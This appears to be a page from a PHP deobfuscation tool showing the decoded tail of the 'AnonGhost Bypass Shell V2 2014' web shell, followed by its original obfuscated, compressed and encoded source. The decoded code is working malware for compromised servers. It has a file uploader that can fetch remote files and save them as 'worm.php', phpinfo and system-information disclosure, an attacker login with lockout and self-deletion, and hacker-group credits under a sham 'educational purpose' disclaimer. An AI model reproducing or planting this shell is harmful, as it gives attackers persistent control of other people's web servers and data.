 </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href=\'http://zone-h.com/archive/ip=".$serverIP."
\' target=\"_blank\">Zone-H</a></b></center><br>";
echo \'<br><center><b class="cont" align="center"><font face="Tahoma" color="#007700" size="2pt">Apache Modules : </font></b>
<select >\';
			
if(function_exists("apache_get_modules")) {
foreach (apache_get_modules() as $module) {
echo "<option>".$module."</option>";
}
}else {
echo "<option>NONE</option>";
}
echo \'</select></center>\';
echo \'<br><br><center><span style="font-size:35px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt"> is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br><font color="#b0b000" size="1pt"></font><br><br><font color="#007700" size="1pt">Coded by </font><font  color="#00bb00" size="1pt">Virusa Worm</font> <font color="#007700" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> | <font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br><br><center><div class="logindiv"><table cellpadding="7" cellspacing="2">
<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br><br><font color="#007700" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - AnonSec - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur <font color="#007700" size="1pt">[pasangan galo.. lol..]]</font></font></center><br>\';	

}


?>
<?php
if(isset($_GET[\'action\']) && !empty($_GET[\'action\'])){
$action = $_GET[\'action\'];
if($action == "phpinfo"){
phpinfo();
}

if($action == \'aplot\'){
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Uploader</span><br></center>\';
echo \'<br /><center><font face="Tahoma" color="#007700" size="2pt">Upload Files From Computer</font><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';
echo \'<input type="file" name="file" value="Choose file" size="60" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input name="_upl" type="submit" id="_upl" value="&nbsp;&nbsp;Upload&nbsp;&nbsp;"></form></center><br><br>\';
if( $_POST[\'_upl\'] == "Upload" ) {
	if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<br /><br /><center><b>upload sukses.. </b><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif"></center><br><br>\'; }
	else { echo \'<center><font face="Tahoma" color="#ff0000" size="2pt">aseeeemmm.., ora iso upload... </font><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif"></center><br>\'; }
}
if (isset($_POST[\'upload_url\'])) {$file=$_POST[\'upload_url_text\']; $newfile=$_POST[\'rename\']; if (!copy($file, $newfile)) {echo "failed to copy $file...\n";}}
echo \'<center><font face="Tahoma" color="#007700" size="2pt">Upload Files From URL</font><br><form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="add"><input type="text" name="upload_url_text" size="50"><br><br><font face="Tahoma" color="#007700" size="2pt">Rename to: </font><input type="text" name="rename" size="15" value="worm.php"><br><br><input type="submit" value="&nbsp;&nbsp;Upload File&nbsp;&nbsp;" name="upload_url"></form></center>\';
}

if($action == "kill"){
echo \'<center>Do you really want to delete this shell ?</center><br><br>\';
?>
<center><b><a style="color:#ff0000;" href="?action=killit">Yes</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<a style="color:#ff0000;" href="<?php echo $_SERVER[\'PHP_SELF\']; ?>">No</a></b></center><br><br>
<?php
}
if($action == "killit"){
$file = $_SERVER[\'PHP_SELF\'];
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
die(\'<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell has been Killed...Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />\');
else
echo \'<font color="#fff600" size="2pt">unlink error!</font>\';
}
if($action == "logout"){
unset($_SESSION[\'loggedin\']);
echo \'<center><span style="font-size:20px; font-family:Fredericka the Great; color:#d00000">You Have Logged Out Bro \' .$username. \' ..</span></center><br><br>\';}
}}
else{
//IF SOMEONE GET BANNED SHELL WILL SUICIDE LIKE KAMIKAZ wkwkwkkwkwkw xD
if(isset($_SESSION[\'banned\'])){
if($_SESSION[\'banned\'] == \'13\'){
$file = $_SERVER[\'PHP_SELF\'];
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
die(\'<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>I SUICIDE BECAUSE YOUR STUPID BEHAVIOUR xD ! AND YOU THINK THAT YOU ARE SMART lulZ !</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />\');

}}
?><link href=\'http://fonts.googleapis.com/css?family=Fredericka+the+Great\' rel=\'stylesheet\' type=\'text/css\'><style type="text/css"><style type="text/css">html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {  margin: 0;  padding: 0;  border: 0;  font-size: 100%;  font: inherit;  vertical-align: baseline; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {  display: block; } body {  line-height: 1; } ol, ul {  list-style: none; } blockquote, q {  quotes: none; } blockquote:before, blockquote:after, q:before, q:after {  content: \'\';  content: none; } table {  border-collapse: collapse;  border-spacing: 0; } ::-moz-focus-inner {  padding: 0;  border: 0; } :-moz-placeholder {  color: #ffffff !important; } ::-webkit-input-placeholder {  color: #ffffff; } :-ms-input-placeholder {  color: #ffffff !important; } body {  font: 12px/20px \'Lucida Grande\', Verdana, sans-serif;  color: #404040;  background: #e4e4e4; } input, textarea, select, label {  font-family: inherit;  font-size: 12px;  -webkit-box-sizing: border-box;  -moz-box-sizing: border-box;  box-sizing: border-box; } .login {  margin: 20px auto;  padding: 18px 20px;  width: 200px;  background: #e4e4e4;  background-clip: padding-box;  border: 1px solid #2f2f2f;  border-bottom-color: #2a2a2a;  border-radius: 5px;  background-image: -webkit-radial-gradient(cover, #555555, #333333);  background-image: -moz-radial-gradient(cover, #555555, #333333);  background-image: -o-radial-gradient(cover, #555555, #333333);  background-image: radial-gradient(cover, #555555, #333333);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5); } .login > h1 {  margin-bottom: 20px;  font-size: 16px;  font-weight: bold;  color: white;  text-align: center;  text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-input {  display: block;  width: 100%;  height: 37px;  margin-bottom: 20px;  padding: 0 9px;  color: white;  text-shadow: 0 1px black;  background: #444444;  border: 1px solid #007700;  border-top-color: #007700;  border-radius: 4px;  background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: -moz-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2);  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2); } .login-input:focus {  outline: 0;  background-color: #444444;  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6);  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6); } .lt-ie9 .login-input {  line-height: 35px; } .login-submit {  display: block;  width: 100%;  height: 37px;  margin-bottom: 15px;  font-size: 14px;  font-weight: bold;  color: #007700;  text-align: center;  text-shadow: 0 1px rgba(255, 255, 255, 0.3);  background: #aeaeae;  background-clip: padding-box;  border: 1px solid #284473;  border-bottom-color: #223b66;  border-radius: 4px;  cursor: pointer;  background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); } .login-submit:active {  background: #eaeaea;  -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1);  box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1); } .login-help {  text-align: center; } .login-help > a {  font-size: 11px;  color: #009900;  text-decoration: none;  text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-help > a:hover {  text-decoration: none;  color: #00ff00;text-shadow:#ffffff 0px 2px 7px; } input[type="password"]{
  background-color : transparent; color: transparent;
}</style><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />  <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<center><img src="http://www4.0zz0.com/2014/08/22/21/544545766.jpg" /><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br>
<?php echo \'<font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">\';echo php_uname(); echo \'</font>\'; ?> </center>
  <form action="" method="post" class="login"><img src="http://www11.0zz0.com/2014/08/23/06/983187840.png">
    <span style="font-size:35px; font-family:Fredericka the Great; color:#009900">Login Here</span><br><input type="password" value="mlebu"  name="pass" style="float:right;" >
    <select type="text"  id="user_name"  name="username" class="login-input" placeholder="User login">
<option>AnonGhost</option>
<option>Guest-user</option>
</select>
    <input type="texti" name="pasfek" class="login-input" placeholder="Password">
    <input type="submit" value="Login" class="login-submit">
    <div class="login-help"><a href="">You are not authorized to access?</a></div>
  </form></center>
<?php
}
if(isset($_POST[\'pass\']) && !empty($_POST[\'pass\']) && isset($_POST[\'username\']) && !empty($_POST[\'username\']) ){
$pass = $_POST[\'pass\'];
$user = $_POST[\'username\'];
if($pass > 50){
die("<center><b><font color=\'#b0b000\'>Maybe you are Drunk O.o...".$warn."</font></b></center>
    ");
}
if($pass != $password || $user!=$username){
if(isset($_SESSION[\'banned\'])){
if($_SESSION[\'banned\'] == \'1\'){
$_SESSION[\'banned\'] = \'2\';
die("<center><b><font color=\'#b0b000\'>MadaFucka\' What are you trying Skid :p ".$warn."</font></b> <b><h3><font color=\'#ff0000\'>BANNED</font></h3></b></center>");
}
if($_SESSION[\'banned\'] == \'2\'){
$_SESSION[\'banned\'] = \'3\';
die("<center><b><font color=\'#b0b000\'>".$warn."Go Play in Da Street Script Kiddi u were banned xD</font></b><br><b><h2><font color=\'#ff0000\'>You have been BANNED!</font></h2></b></center>");
}
}
else{
$_SESSION[\'banned\'] = \'1\';
}
}
else{
$_SESSION[\'loggedin\'] = \'true\';
echo "<center><br><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Salam Aleykum " .$username. " . &hearts; </span></center>";
echo "<br><br><center><b><font color=\'#007700\' face=\'Tahoma\' style=\'font-size: 11pt\'>&check; You are Successfully Logged in and Redirecting Now Ghost.... <a href=\'".$pwd."\'> or Click here</a></font></b><meta http-equiv=\'refresh\' content=\'10; url=?".$pwd."\' /></center>";
header(\'location: \'.$_SERVER[\'PHP_SELF\']);
}
}
?>
<span><center>
<?php

if(!isset($_SESSION[\'loggedin\'])){echo $about;}
if (strtoupper(substr(PHP_OS, 0, 3)) === \'UNI\'){
echo "user = ".@get_current_user()." | uid= ".@getmyuid()." | gid= ".@getmygid();
} ?>

</center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center;"><font color=#"009900" size="1" face="Courier New">&copy; AnonGhost Bypass Shell V2 2014  | Coded by Virusa Worm - Mauritania Attacker - GrenCoder</font></footer>

</body>
</html>'

Did this file decode correctly?

Original Code

<?php

$gzinflate = "==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